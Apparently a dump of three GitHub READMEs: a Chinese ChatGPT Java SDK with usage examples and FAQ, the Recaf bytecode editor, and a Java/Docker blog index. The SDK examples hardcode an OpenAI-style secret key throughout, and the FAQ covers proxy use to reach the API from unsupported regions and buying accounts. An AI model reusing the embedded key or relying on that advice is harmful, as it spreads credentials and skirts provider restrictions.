| 功能 | 特性 |
|:-----------:| :------: |
| GPT 3.5 | 支持 |
| GPT 4.0 | 支持 |
| 函数调用 | 支持 |
| 流式对话 | 支持 |
| 阻塞式对话 | 支持 |
| 前端 | 无 |
| 上下文 | 支持 |
| 计算Token | [用jtokkit](https://github.com/knuddelsgmbh/jtokkit) |
| 多KEY轮询 | 支持 |
| 代理 | 支持 |
| 反向代理 | 支持 |
## 使用指南
你可能在找这个，参考Demo https://github.com/PlexPt/chatgpt-online-springboot
最新版本 [](https://maven-badges.herokuapp.com/maven-central/com.github.plexpt/chatgpt)
maven
```
<dependency>
<groupId>com.github.plexpt</groupId>
<artifactId>chatgpt</artifactId>
<version>4.4.0</version>
</dependency>
```
gradle
```
implementation group: 'com.github.plexpt', name: 'chatgpt', version: '4.4.0'
```
### 最简使用
```java
//国内需要代理
Proxy proxy = Proxys.http("127.0.0.1", 1081);
//socks5 代理
// Proxy proxy = Proxys.socks5("127.0.0.1", 1080);
ChatGPT chatGPT = ChatGPT.builder()
.apiKey("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")
.proxy(proxy)
.apiHost("https://api.openai.com/") //反向代理地址
.build()
.init();
String res = chatGPT.chat("写一段七言绝句诗，题目是：火锅！");
System.out.println(res);
```
也可以使用这个类进行测试 [ConsoleChatGPT](src/main/java/com/plexpt/chatgpt/ConsoleChatGPT.java)
### 进阶使用
```java
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
ChatGPT chatGPT = ChatGPT.builder()
.apiKey("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")
.proxy(proxy)
.timeout(900)
.apiHost("https://api.openai.com/") //反向代理地址
.build()
.init();
Message system = Message.ofSystem("你现在是一个诗人，专门写七言绝句");
Message message = Message.of("写一段七言绝句诗，题目是：火锅！");
ChatCompletion chatCompletion = ChatCompletion.builder()
.model(ChatCompletion.Model.GPT_3_5_TURBO.getName())
.messages(Arrays.asList(system, message))
.maxTokens(3000)
.temperature(0.9)
.build();
ChatCompletionResponse response = chatGPT.chatCompletion(chatCompletion);
Message res = response.getChoices().get(0).getMessage();
System.out.println(res);
```
### 函数调用（Function Call）
```java
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
chatGPT = ChatGPT.builder()
.apiKey("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")
.timeout(900)
.proxy(proxy)
.apiHost("https://api.openai.com/") //代理地址
.build()
.init();
List<ChatFunction> functions = new ArrayList<>();
ChatFunction function = new ChatFunction();
function.setName("getCurrentWeather");
function.setDescription("获取给定位置的当前天气");
function.setParameters(ChatFunction.ChatParameter.builder()
.type("object")
.required(Arrays.asList("location"))
.properties(JSON.parseObject("{\n" +
" \"location\": {\n" +
" \"type\": \"string\",\n" +
" \"description\": \"The city and state, e.g. San Francisco, " +
"CA\"\n" +
" },\n" +
" \"unit\": {\n" +
" \"type\": \"string\",\n" +
" \"enum\": [\"celsius\", \"fahrenheit\"]\n" +
" }\n" +
" }"))
.build());
functions.add(function);
Message message = Message.of("上海的天气怎么样？");
ChatCompletion chatCompletion = ChatCompletion.builder()
.model(ChatCompletion.Model.GPT_3_5_TURBO_0613.getName())
.messages(Arrays.asList(message))
.functions(functions)
.maxTokens(8000)
.temperature(0.9)
.build();
ChatCompletionResponse response = chatGPT.chatCompletion(chatCompletion);
ChatChoice choice = response.getChoices().get(0);
Message res = choice.getMessage();
System.out.println(res);
if ("function_call".equals(choice.getFinishReason())) {
FunctionCallResult functionCall = res.getFunctionCall();
String functionCallName = functionCall.getName();
if ("getCurrentWeather".equals(functionCallName)) {
String arguments = functionCall.getArguments();
JSONObject jsonObject = JSON.parseObject(arguments);
String location = jsonObject.getString("location");
String unit = jsonObject.getString("unit");
String weather = getCurrentWeather(location, unit);
callWithWeather(weather, res, functions);
}
}
private void callWithWeather(String weather, Message res, List<ChatFunction> functions) {
Message message = Message.of("上海的天气怎么样？");
Message function1 = Message.ofFunction(weather);
function1.setName("getCurrentWeather");
ChatCompletion chatCompletion = ChatCompletion.builder()
.model(ChatCompletion.Model.GPT_3_5_TURBO_0613.getName())
.messages(Arrays.asList(message, res, function1))
.functions(functions)
.maxTokens(8000)
.temperature(0.9)
.build();
ChatCompletionResponse response = chatGPT.chatCompletion(chatCompletion);
ChatChoice choice = response.getChoices().get(0);
Message res2 = choice.getMessage();
//上海目前天气晴朗，气温为 22 摄氏度。
System.out.println(res2.getContent());
}
public String getCurrentWeather(String location, String unit) {
return "{ \"temperature\": 22, \"unit\": \"celsius\", \"description\": \"晴朗\" }";
}
```
### 流式使用
```java
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
ChatGPTStream chatGPTStream = ChatGPTStream.builder()
.timeout(600)
.apiKey("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")
.proxy(proxy)
.apiHost("https://api.openai.com/")
.build()
.init();
ConsoleStreamListener listener = new ConsoleStreamListener();
Message message = Message.of("写一段七言绝句诗，题目是：火锅！");
ChatCompletion chatCompletion = ChatCompletion.builder()
.messages(Arrays.asList(message))
.build();
chatGPTStream.streamChatCompletion(chatCompletion, listener);
```
### 流式配合Spring SseEmitter使用
参考 [SseStreamListener](src/main/java/com/plexpt/chatgpt/listener/SseStreamListener.java)
你可能在找这个，参考Demo https://github.com/PlexPt/chatgpt-online-springboot
```java
@GetMapping("/chat/sse")
@CrossOrigin
public SseEmitter sseEmitter(String prompt) {
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
ChatGPTStream chatGPTStream = ChatGPTStream.builder()
.timeout(600)
.apiKey("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")
.proxy(proxy)
.apiHost("https://api.openai.com/")
.build()
.init();
SseEmitter sseEmitter = new SseEmitter(-1L);
SseStreamListener listener = new SseStreamListener(sseEmitter);
Message message = Message.of(prompt);
listener.setOnComplate(msg -> {
//回答完成，可以做一些事情
});
chatGPTStream.streamChatCompletion(Arrays.asList(message), listener);
return sseEmitter;
}
```
## 多KEY自动轮询
只需替换chatGPT构造部分
```
chatGPT = ChatGPT.builder()
.apiKeyList(
// 从数据库或其他地方取出多个KEY
Arrays.asList("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",
"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",
"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",
"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",
))
.timeout(900)
.proxy(proxy)
.apiHost("https://api.openai.com/") //代理地址
.build()
.init();
```
## 上下文
参考 [ChatContextHolder.java](src/main/java/com/plexpt/chatgpt/util/ChatContextHolder.java)
# 常见问题
| 问 | 答 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| KEY从哪来？ | 手动注册生成：openai.com(需要海外手机号)、或者成品独享帐号：[购买](https://fk.fq.mk/?code=YT0xJmI9Mg%3D%3D) |
| 哪些地区不能用 | **以下国家IP不支持使用：中国(包含港澳台) 俄罗斯 乌克兰 阿富汗 白俄罗斯 委内瑞拉 伊朗 埃及!!** |
| 有封号风险吗 | 使用代理有一定的风险。 |
| 我是尊贵的Plus会员，能用吗 | PLUS是网页端，调用API没啥区别 |
| GPT4.0 怎么用 | 目前需要充值 |
| api.openai.com ping不通？ | 禁ping，用curl测试连通性 |
| 显示超时？ | IP不好，换个IP |
| 显示`Your access was terminated due to violation of our policies`... | 你号没了，下一个 |
| 显示`That model is currently overloaded with other requests. You can retry your request` | 模型过载，官方炸了，重试 |
| 生成的图片不能用？ | 图片是它瞎编的，洗洗睡吧 |
| 如何充值？ | 用国外信用卡，国内的不行 |
| 没有国外信用卡怎么办？ | 暂时没有特别好的办法待定 |
| 返回http 401 | API 密钥写错了/没写 |
| 返回http 429 | 请求超速了，或者官方超载了。充钱可解决 |
| 返回http 500 | 服务器炸了 |
| | |
---
### 注册教程
https://juejin.cn/post/7173447848292253704
https://mirror.xyz/boxchen.eth/9O9CSqyKDj4BKUIil7NC1Sa1LJM-3hsPqaeW_QjfFBc
#### 另外请看看我的另一个项目 [ChatGPT中文使用指南](https://github.com/PlexPt/awesome-chatgpt-prompts-zh)
公众号
<img src="https://user-images.githubusercontent.com/15922823/218004565-bb632624-b376-4f01-8ce2-d7065107bf4a.png" width="300"/>
# 云服务器
点击👇🏻传送链接，购买云服务器：
- [**阿里云服务器**](https://reurl.cc/NqQXyx)
- [**【腾讯云】云服务器等爆品抢先购，低至4.2元/月**](https://url.cn/B7m0OYnG)
#### 项目合作洽谈请点击 联系微信 https://work.weixin.qq.com/kfid/kfc6913bb4906e0e597
### QQ群：645132635
# Star History
[](https://star-history.com/#PlexPt/chatgpt-java&Date)
| 0 |
Col-E/Recaf | The modern Java bytecode editor | agent asm bytecode bytecode-engineering bytecode-manipulation decompile decompiler java java-decompiler javafx javafx-application jvm-bytecode reverse-engineering static-analysis | # Recaf [](https://discord.gg/Bya5HaA) [](https://cloud.drone.io/Col-E/Recaf)  [](CONTRIBUTING.md)
An easy to use modern Java bytecode editor that abstracts away the complexities of Java programs.
Recaf abstracts away:
* Constant pool
* Stack frames
* Wide instructions
* And more!
Don't know bytecode? That's ok because Recaf supports [recompiling decompiled code](https://col-e.github.io/Recaf-documentation/use-edit-via-decompile.html) and inserting [single line Java statements into the bytecode](https://col-e.github.io/Recaf-documentation/use-assembler.html).
For more information: _[Read the documentation](https://col-e.github.io/Recaf-documentation/)_
## Important notice for newer versions: 3X and 4X
[](https://www.youtube.com/watch?v=IIFnXFoiiSo)
This video explains what's going on in the the Recaf developer space. What's going on with 3x and 4x, and plans for the future.
## Download
See the [releases](https://github.com/Col-E/Recaf/releases) page for the latest build.
## Preface
If you're just getting started with reverse-engineering in Java, read [primer guide](PRIMER.md). Then check the documentation pages.
## Contributing
**Are you a developer?**
Check out the [open issues](https://github.com/Col-E/Recaf/issues), [project boards](https://github.com/Col-E/Recaf/projects), and many scattered `TODO` messages throughout the source code. There's plenty to do.
**Not a developer?**
You can help by reporting bugs, making suggestions, providing translations, and sharing this project.
> More information can be found in the [contribution guide](CONTRIBUTING.md).
## Setting up the project
Clone the repository via `git clone https://github.com/Col-E/Recaf.git`
Open the project in an IDE or generate the build with maven.
**IDE**:
1. Import the project from the `pom.xml`
* [IntelliJ](https://www.jetbrains.com/help/idea/maven-support.html#maven_import_project_start)
* [Eclipse](https://stackoverflow.com/a/36242422) - _(Warning: Eclipse's custom compiler cannot compile Recaf because of incorrect generics parsing)_
2. Create a run configuration with the main class `me.coley.recaf.Recaf`
**Without IDE**:
1. Execute `build`
* Follow the prompt in the script to build the project.
2. Run the generated build: `java -jar target/recaf-{version}-jar-with-dependencies.jar`
For additional information, join the [Discord server _(https://discord.gg/Bya5HaA)_](https://discord.gg/Bya5HaA)
| 0 |
zq2599/blog_demos | CSDN博客专家程序员欣宸的github，这里有六百多篇原创文章的详细分类和汇总，以及对应的源码，内容涉及Java、Docker、Kubernetes、DevOPS等方面 | docker docker-java docker-jib flink java jenkins kubernetes kubernetes-java kubernetes-jenkins-maven spring spring-cloud spring-cloud-kubernetes springboot | # 关于作者
1. 微信公众号、头条号、CSDN账号都是<font color="blue">程序员欣宸</font>
2. 前腾讯、前阿里员工，从事Java后台工作；
3. 对Docker和Kubernetes充满热爱；
4. 所有文章均为作者原创；
# 关于这个代码仓库
1. CSDN博客地址：http://blog.csdn.net/boling_cavalry
2. 这个代码仓库里是博客中涉及的源码、文件等
3. 如果对您有帮助，请给个Star，谢谢您！
# 文章分类
总的来说分为以下几大类，若有您感兴趣的内容，我将不胜荣幸：
1. Java；
2. 后台中间件；
3. Docker；
4. Kubernetes；
5. 大数据；
6. 综合兴趣，例如LeetCode、树莓派、群晖系统等；
7. DevOps；
8. 常用工具和技巧；
9. 问题处理备忘；
# Java领域
## 云原生技术，Quarkus专辑
## quarkus长篇连载
### 综合实战
1. [《quarkus实战之一：准备工作》](https://xinchen.blog.csdn.net/article/details/122985638)
2. [《quarkus实战之二：应用的创建、构建、部署》](https://xinchen.blog.csdn.net/article/details/123036523)
3. [《quarkus实战之三：开发模式(Development mode)》](https://xinchen.blog.csdn.net/article/details/123196706)
4. [《quarkus实战之四：远程热部署》](https://xinchen.blog.csdn.net/article/details/123196853)
5. [《quarkus实战之五：细说maven插件》](https://xinchen.blog.csdn.net/article/details/123268091)
6. [《quarkus实战之六：配置》](https://xinchen.blog.csdn.net/article/details/123303111)
7. [《quarkus实战之七：使用配置》](https://xinchen.blog.csdn.net/article/details/123307704)
8. [《quarkus实战之八：profile》](https://xinchen.blog.csdn.net/article/details/123321509)
### 虚拟线程
1. [支持JDK19虚拟线程的web框架，之一：体验](https://blog.csdn.net/boling_cavalry/article/details/127354737)
2. [支持JDK19虚拟线程的web框架，之二：完整开发一个支持虚拟线程的quarkus应用](https://blog.csdn.net/boling_cavalry/article/details/127457880)
3. [支持JDK19虚拟线程的web框架，之三：观察运行中的虚拟线程](https://xinchen.blog.csdn.net/article/details/127472917)
4. [支持JDK19虚拟线程的web框架，之四：看源码，了解quarkus如何支持虚拟线程](https://xinchen.blog.csdn.net/article/details/127592248)
5. [支持JDK19虚拟线程的web框架，之五（终篇）：兴风作浪的ThreadLocal](https://blog.csdn.net/boling_cavalry/article/details/127592728)
### 依赖注入
1. [《quarkus依赖注入之一：创建bean》](https://xinchen.blog.csdn.net/article/details/123752182)
2. [《quarkus依赖注入之二：bean的作用域》](https://xinchen.blog.csdn.net/article/details/123754648)
3. [《quarkus依赖注入之三：用注解选择注入bean》](https://xinchen.blog.csdn.net/article/details/123861906)
4. [《quarkus依赖注入之四：选择注入bean的高级手段》](https://xinchen.blog.csdn.net/article/details/123939148)
5. [《quarkus依赖注入之五：拦截器(Interceptor)》](https://xinchen.blog.csdn.net/article/details/124055982)
6. [《quarkus依赖注入之六：发布和消费事件》](https://xinchen.blog.csdn.net/article/details/124069627)
7. [《quarkus依赖注入之七：生命周期回调》](https://xinchen.blog.csdn.net/article/details/124114602)
8. [《quarkus依赖注入之八：装饰器（Decorator）》](https://xinchen.blog.csdn.net/article/details/124234802)
9. [《quarkus依赖注入之九：bean读写锁》](https://xinchen.blog.csdn.net/article/details/124336520)
10. [《quarkus依赖注入之十：学习和改变bean懒加载规则》](https://xinchen.blog.csdn.net/article/details/124524910)
11. [《quarkus依赖注入之十一：拦截器高级特性上篇(属性设置和重复使用)》](https://xinchen.blog.csdn.net/article/details/124540964)
12. [《quarkus依赖注入之十二：禁用类级别拦截器》](https://xinchen.blog.csdn.net/article/details/124581260)
13. [《quarkus依赖注入之十三：其他重要知识点大串讲(终篇)》](https://xinchen.blog.csdn.net/article/details/124644543)
### 数据库
1. [《quarkus数据库篇之一：比官方demo更简单的基础操作》](https://xinchen.blog.csdn.net/article/details/124766017)
2. [《quarkus数据库篇之二：无需数据库也能运行增删改查(dev模式)》](https://xinchen.blog.csdn.net/article/details/124860825)
3. [《quarkus数据库篇之三：单应用同时操作多个数据库》](https://xinchen.blog.csdn.net/article/details/124895407)
4. [《quarkus数据库篇之四：本地缓存》](https://xinchen.blog.csdn.net/article/details/124958726)
## 基础知识
1. [《CentOS7安装JDK8》](https://blog.csdn.net/boling_cavalry/article/details/79840049)
2. [《Ubuntu下安装OpenJDK10》](https://blog.csdn.net/boling_cavalry/article/details/83213608)
3. [《Ubuntu环境下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83240035)
4. [《体验RxJava和lambda》](https://blog.csdn.net/boling_cavalry/article/details/72858158)
5. [《实战限流（guava的RateLimiter）》](https://blog.csdn.net/boling_cavalry/article/details/75174486)
6. [《java.util.Optional学习笔记》](https://blog.csdn.net/boling_cavalry/article/details/77610629)
7. [《org.springframework.util.StopWatch：简洁的耗时统计小工具》](https://blog.csdn.net/boling_cavalry/article/details/78231032)
8. [《体验IntelliJ IDEA的远程开发（Remote Development）》](https://xinchen.blog.csdn.net/article/details/123598992)
9. [《20天等待，申请终于通过，安装和体验IntelliJ IDEA新UI预览版》](https://xinchen.blog.csdn.net/article/details/125401366)
10. [《浏览器上写代码，4核8G微软服务器免费用，Codespaces真香》](https://xinchen.blog.csdn.net/article/details/125014702)
11. [《Codespaces个性化后台服务器配置指南》](https://xinchen.blog.csdn.net/article/details/125110236)
12. [《桌面版vscode用免费的微软4核8G服务器做远程开发（编译运行都在云上，还能自由创建docker服务）》](https://xinchen.blog.csdn.net/article/details/125126658)
## 进阶实战
1. [《Java实战操作MongoDB集群（副本集）》](https://blog.csdn.net/boling_cavalry/article/details/78238163)
2. [《Docker下Java文件上传服务三部曲之一：准备环境》](https://blog.csdn.net/boling_cavalry/article/details/79361159)
3. [《Docker下Java文件上传服务三部曲之二：服务端开发》](https://blog.csdn.net/boling_cavalry/article/details/79367520)
4. [《Docker下Java文件上传服务三部曲之三：wireshark抓包分析》](https://blog.csdn.net/boling_cavalry/article/details/79380053)
5. [《实战Redis序列化性能测试(Kryo和字符串)》](https://blog.csdn.net/boling_cavalry/article/details/80719683)
6. [《JavaCPP快速入门(官方demo增强版)》](https://xinchen.blog.csdn.net/article/details/118636417)
## 畅游JVM世界
1. [《极简，利用Docker仅两行命令就能下载和编译OpenJDK11》](https://blog.csdn.net/boling_cavalry/article/details/83353102)
2. [《利用Docker极速下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83245148)
3. [《制作Docker镜像，用来下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83420005)
4. [《制作Docker镜像，用来编译OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/84890664)
5. [《Ubuntu环境编辑OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83303317)
6. [《openjdk镜像的tag说明》](https://blog.csdn.net/boling_cavalry/article/details/94320638)
7. [《ARM64架构下，OpenJDK的官方Docker镜像为何没有8版本？》](https://blog.csdn.net/boling_cavalry/article/details/101908575)
8. [《ARM架构下的Docker环境，OpenJDK官方没有8版本镜像，如何完美解决？》](https://blog.csdn.net/boling_cavalry/article/details/101855126)
9. [《极速体验编译openjdk8（docker环境）》](https://blog.csdn.net/boling_cavalry/article/details/77623193)
10. [《在docker上编译openjdk8》](https://blog.csdn.net/boling_cavalry/article/details/70243954)
11. [《修改，编译，GDB调试openjdk8源码(docker环境下)》](https://blog.csdn.net/boling_cavalry/article/details/70557537)
12. [《环境变量_JAVA_LAUNCHER_DEBUG，它能给你更多的jvm信息》](https://blog.csdn.net/boling_cavalry/article/details/70904278)
13. [《Java虚拟机学习：方法调用的字节码指令》](https://blog.csdn.net/boling_cavalry/article/details/76384425)
14. [《Java的wait()、notify()学习三部曲之一：JVM源码分析》](https://xinchen.blog.csdn.net/article/details/77793224)
15. [《Java的wait()、notify()学习三部曲之二：修改JVM源码看参数》](https://blog.csdn.net/boling_cavalry/article/details/77897108)
16. [《Java的wait()、notify()学习三部曲之三：修改JVM源码控制抢锁顺序》](https://blog.csdn.net/boling_cavalry/article/details/77995069)
## 玩转Maven
1. [《Ubuntu部署和体验Nexus3》](https://blog.csdn.net/boling_cavalry/article/details/104617262)
2. [《没有JDK和Maven，用Docker也能构建Maven工程》](https://blog.csdn.net/boling_cavalry/article/details/80384722)
3. [《maven构建docker镜像三部曲之一：准备环境》](https://blog.csdn.net/boling_cavalry/article/details/78869466)
4. [《maven构建docker镜像三部曲之二：编码和构建镜像》](https://blog.csdn.net/boling_cavalry/article/details/78872020)
5. [《maven构建docker镜像三部曲之三：推送到远程仓库(内网和阿里云)》](https://blog.csdn.net/boling_cavalry/article/details/78934391)
6. [《实战maven私有仓库三部曲之一：搭建和使用》](https://blog.csdn.net/boling_cavalry/article/details/79059021)
7. [《实战maven私有仓库三部曲之二：上传到私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79070744)
8. [《实战maven私有仓库三部曲之三：Docker下搭建maven私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79111740)
9. [《修改gradle脚本，加速spring4.1源码编译构建速度》](https://blog.csdn.net/boling_cavalry/article/details/80873343)
10. [《Docker与Jib(maven插件版)实战》](https://blog.csdn.net/boling_cavalry/article/details/94355659)
12. [《Jib使用小结(Maven插件版)》](https://blog.csdn.net/boling_cavalry/article/details/100179709)
13. [《Jib构建镜像问题从定位到深入分析》](https://blog.csdn.net/boling_cavalry/article/details/101606958)
14. [《kubernetes下的jenkins如何设置maven》](https://blog.csdn.net/boling_cavalry/article/details/104849839)
15. [《kubernetes下jenkins实战maven项目编译构建》](https://blog.csdn.net/boling_cavalry/article/details/104875452)
16. [《Nexus3常用功能备忘》](https://xinchen.blog.csdn.net/article/details/105458882)
17. [《我把自己的java库发布到了maven中央仓库，从此可以像Jackson、Spring的jar一样使用它了》](https://xinchen.blog.csdn.net/article/details/121240721)
## 玩转Gradle
1. [Gradle构建多模块SpringBoot应用](https://xinchen.blog.csdn.net/article/details/115049633)
2. [《Gradle项目的jar发布到私有仓库》](https://xinchen.blog.csdn.net/article/details/115609899)
## Jackson学习特辑
1. [《jackson学习之一：基本信息》](https://blog.csdn.net/boling_cavalry/article/details/107135958)
2. [《jackson学习之二：jackson-core》](https://blog.csdn.net/boling_cavalry/article/details/108571629)
3. [《jackson学习之三：常用API操作》](https://blog.csdn.net/boling_cavalry/article/details/108192174)
4. [《jackson学习之四：WRAP_ROOT_VALUE（root对象）》](https://blog.csdn.net/boling_cavalry/article/details/108298858)
5. [《jackson学习之五：JsonInclude注解》](https://blog.csdn.net/boling_cavalry/article/details/108412558)
6. [《jackson学习之六：常用类注解》](https://blog.csdn.net/boling_cavalry/article/details/108333324)
7. [《jackson学习之七：常用Field注解》](https://blog.csdn.net/boling_cavalry/article/details/108427844)
8. [《jackson学习之八：常用方法注解》](https://blog.csdn.net/boling_cavalry/article/details/108433330)
9. [《jackson学习之九：springboot整合(配置文件)》](https://blog.csdn.net/boling_cavalry/article/details/108460433)
10. [《jackson学习之十(终篇)：springboot整合(配置类)》](https://blog.csdn.net/boling_cavalry/article/details/108559056)
## JUnit5学习特辑
《JUnit5学习》系列旨在通过实战提升SpringBoot环境下的单元测试技能，一共八篇文章，链接如下：
1. [《JUnit5学习之一：基本操作》](https://blog.csdn.net/boling_cavalry/article/details/108810587)
2. [《JUnit5学习之二：Assumptions类》](https://blog.csdn.net/boling_cavalry/article/details/108861185)
3. [《JUnit5学习之三：Assertions类》](https://blog.csdn.net/boling_cavalry/article/details/108899437)
4. [《JUnit5学习之四：按条件执行》](https://blog.csdn.net/boling_cavalry/article/details/108909107)
5. [《JUnit5学习之五：标签(Tag)和自定义注解》](https://blog.csdn.net/boling_cavalry/article/details/108914091)
6. [《JUnit5学习之六：参数化测试(Parameterized Tests)基础》](https://blog.csdn.net/boling_cavalry/article/details/108930987)
7. [《JUnit5学习之七：参数化测试(Parameterized Tests)进阶》](https://blog.csdn.net/boling_cavalry/article/details/108942301)
8. [《JUnit5学习之八：综合进阶（终篇）》](https://blog.csdn.net/boling_cavalry/article/details/108952500)
## jetcd学习特辑
1. [jetcd实战之一:极速体验](https://xinchen.blog.csdn.net/article/details/115276045)
2. [jetcd实战之二:基本操作](https://xinchen.blog.csdn.net/article/details/115419439)
3. [jetcd实战之三:进阶操作(事务、监听、租约)](https://xinchen.blog.csdn.net/article/details/115434576)
## disruptor学习特辑
1. [快速入门](https://blog.csdn.net/boling_cavalry/article/details/117185656)
2. [Disruptor类分析](https://blog.csdn.net/boling_cavalry/article/details/117318462)
3. [环形队列的基础操作(不用Disruptor类)](https://blog.csdn.net/boling_cavalry/article/details/117386253)
4. [事件消费知识点小结](https://blog.csdn.net/boling_cavalry/article/details/117395009)
5. [事件消费实战](https://blog.csdn.net/boling_cavalry/article/details/117405835)
6. [常见场景](https://blog.csdn.net/boling_cavalry/article/details/117575447)
7. [等待策略](https://blog.csdn.net/boling_cavalry/article/details/117608051)
8. [知识点补充(终篇)](https://blog.csdn.net/boling_cavalry/article/details/117636483)
## MyBatis学习（初级版）
1. [《MyBatis初级实战之一：Spring Boot集成》](https://xinchen.blog.csdn.net/article/details/107805840)
2. [《MyBatis初级实战之二：增删改查》](https://xinchen.blog.csdn.net/article/details/107971293)
3. [《MyBatis初级实战之三：springboot集成druid》](https://xinchen.blog.csdn.net/article/details/108092045)
4. [《MyBatis初级实战之四：druid多数据源》](https://xinchen.blog.csdn.net/article/details/108179671)
5. [《MyBatis初级实战之五：一对一关联查询》](https://xinchen.blog.csdn.net/article/details/109020733)
6. [《MyBatis初级实战之六：一对多关联查询》](https://xinchen.blog.csdn.net/article/details/109193441)
## java版gRPC实战专辑
1. [用proto生成代码](https://xinchen.blog.csdn.net/article/details/115049443)
2. [服务发布和调用](https://xinchen.blog.csdn.net/article/details/115803738)
3. [服务端流](https://xinchen.blog.csdn.net/article/details/115983001)
4. [客户端流](https://xinchen.blog.csdn.net/article/details/116097756)
5. [双向流](https://xinchen.blog.csdn.net/article/details/116354293)
6. [客户端动态获取服务端地址](https://xinchen.blog.csdn.net/article/details/116479078)
7. [基于eureka的注册发现](https://xinchen.blog.csdn.net/article/details/116635441)
## Java扩展Nginx专辑
1. [《Java扩展Nginx之一：你好，nginx-clojure》](https://xinchen.blog.csdn.net/article/details/122764774)
2. [《Java扩展Nginx之二：编译nginx-clojure源码》](https://xinchen.blog.csdn.net/article/details/122773081)
3. [《Java扩展Nginx之三：基础配置项》](https://xinchen.blog.csdn.net/article/details/122779437)
4. [《Java扩展Nginx之四：远程调试》](https://xinchen.blog.csdn.net/article/details/122782310)
5. [《Java扩展Nginx之五：五大handler(系列最核心)》](https://xinchen.blog.csdn.net/article/details/122788726)
6. [《Java扩展Nginx之六：两大filter》](https://xinchen.blog.csdn.net/article/details/122825530)
7. [《Java扩展Nginx之七：共享内存》](https://xinchen.blog.csdn.net/article/details/123015410)
8. [《精选版：用Java扩展Nginx（nginx-clojure 入门）》](https://xinchen.blog.csdn.net/article/details/126456209)
## 视图邻域
1. [Java版流媒体编解码和图像处理(JavaCPP+FFmpeg)](https://xinchen.blog.csdn.net/article/details/119062543)
2. [《Ubuntu16桌面版编译和安装OpenCV4》](https://xinchen.blog.csdn.net/article/details/120964456)
3. [《Ubuntu16桌面版编译OpenCV4的java库和so库》](https://xinchen.blog.csdn.net/article/details/121069372)
# Spring领域
## Spring基础
1. [《实战spring自定义属性(schema)：快速体验》](https://blog.csdn.net/boling_cavalry/article/details/74066494)
2. [《spring的BeanFactory和ApplicationContext》](https://blog.csdn.net/boling_cavalry/article/details/81603303)
3. [《ImportSelector与DeferredImportSelector的区别（spring4）》](https://blog.csdn.net/boling_cavalry/article/details/82555352)
4. [《实战spring自定义属性(schema)》](https://blog.csdn.net/boling_cavalry/article/details/101369202)
## Spring扩展实战专题
1. [《spring4.1.8扩展实战之一：自定义环境变量验证》](https://blog.csdn.net/boling_cavalry/article/details/81474340)
2. [《spring4.1.8扩展实战之二：Aware接口揭秘》](https://blog.csdn.net/boling_cavalry/article/details/81611426)
3. [《spring4.1.8扩展实战之三：广播与监听》](https://blog.csdn.net/boling_cavalry/article/details/81697314)
4. [《spring4.1.8扩展实战之四：感知spring容器变化(SmartLifecycle接口)》](https://blog.csdn.net/boling_cavalry/article/details/82051356)
5. [《spring4.1.8扩展实战之五：改变bean的定义(BeanFactoryPostProcessor接口)》](https://blog.csdn.net/boling_cavalry/article/details/82083889)
6. [《spring4.1.8扩展实战之六：注册bean到spring容器(BeanDefinitionRegistryPostProcessor接口)》](https://blog.csdn.net/boling_cavalry/article/details/82193692)
7. [《spring4.1.8扩展实战之七：控制bean(BeanPostProcessor接口)》](https://blog.csdn.net/boling_cavalry/article/details/82250986)
8. [《spring4.1.8扩展实战之八：Import注解》](https://blog.csdn.net/boling_cavalry/article/details/82530167)
## 畅游Spring源码世界
1. [《修改和编译spring源码，构建jar(spring-context-4.0.2.RELEASE)》](https://blog.csdn.net/boling_cavalry/article/details/73139161)
2. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之一：稳定重现问题》](https://blog.csdn.net/boling_cavalry/article/details/73071020)
3. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之二：定位错误》](https://blog.csdn.net/boling_cavalry/article/details/73442311)
4. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之三：改spring源码，取详细错误》](https://blog.csdn.net/boling_cavalry/article/details/73759475)
5. [《SpringMVC源码分析：POST请求中的文件处理》](https://blog.csdn.net/boling_cavalry/article/details/79375713)
6. [《下载Spring4.1.x源码并用IntelliJ IDEA打开》](https://blog.csdn.net/boling_cavalry/article/details/79426075)
7. [《windows下修改、编译、构建spring-framework4.1.8.RELEASE源码》](https://blog.csdn.net/boling_cavalry/article/details/80791786)
8. [《spring4.1.8初始化源码学习三部曲之一：AbstractApplicationContext构造方法》](https://blog.csdn.net/boling_cavalry/article/details/80957707)
9. [《spring4.1.8初始化源码学习三部曲之二：setConfigLocations方法》](https://blog.csdn.net/boling_cavalry/article/details/80958832)
10. [《spring4.1.8初始化源码学习三部曲之三：AbstractApplicationContext.refresh方法》](https://blog.csdn.net/boling_cavalry/article/details/81045637)
## SpringBoot基础
1. [《自定义spring boot starter三部曲之一：准备工作》](https://blog.csdn.net/boling_cavalry/article/details/82956512)
2. [《自定义spring boot starter三部曲之二：实战开发》](https://blog.csdn.net/boling_cavalry/article/details/83041472)
3. [《自定义spring boot starter三部曲之三：源码分析spring.factories加载过程》](https://blog.csdn.net/boling_cavalry/article/details/83048588)
4. [《基于spring boot框架访问zookeeper》](https://blog.csdn.net/boling_cavalry/article/details/69802622)
5. [《Docker下运行springboot》](https://blog.csdn.net/boling_cavalry/article/details/78991870)
6. [《springboot线程池的使用和扩展》](https://blog.csdn.net/boling_cavalry/article/details/79120268)
7. [《SpringBoot下用Kyro作为Redis序列化工具》](https://blog.csdn.net/boling_cavalry/article/details/80710774)
8. [《springboot应用查询城市天气》](https://blog.csdn.net/boling_cavalry/article/details/86770023)
9. [《立即可用的实战源码(springboot+redis+mybatis+restTemplate)》](https://blog.csdn.net/boling_cavalry/article/details/101999606)
10. [《SpringBoot-2.3镜像方案为什么要做多个layer》](https://blog.csdn.net/boling_cavalry/article/details/106600620)
11. [《体验SpringBoot(2.3)应用制作Docker镜像(官方方案)》](https://blog.csdn.net/boling_cavalry/article/details/106597358)
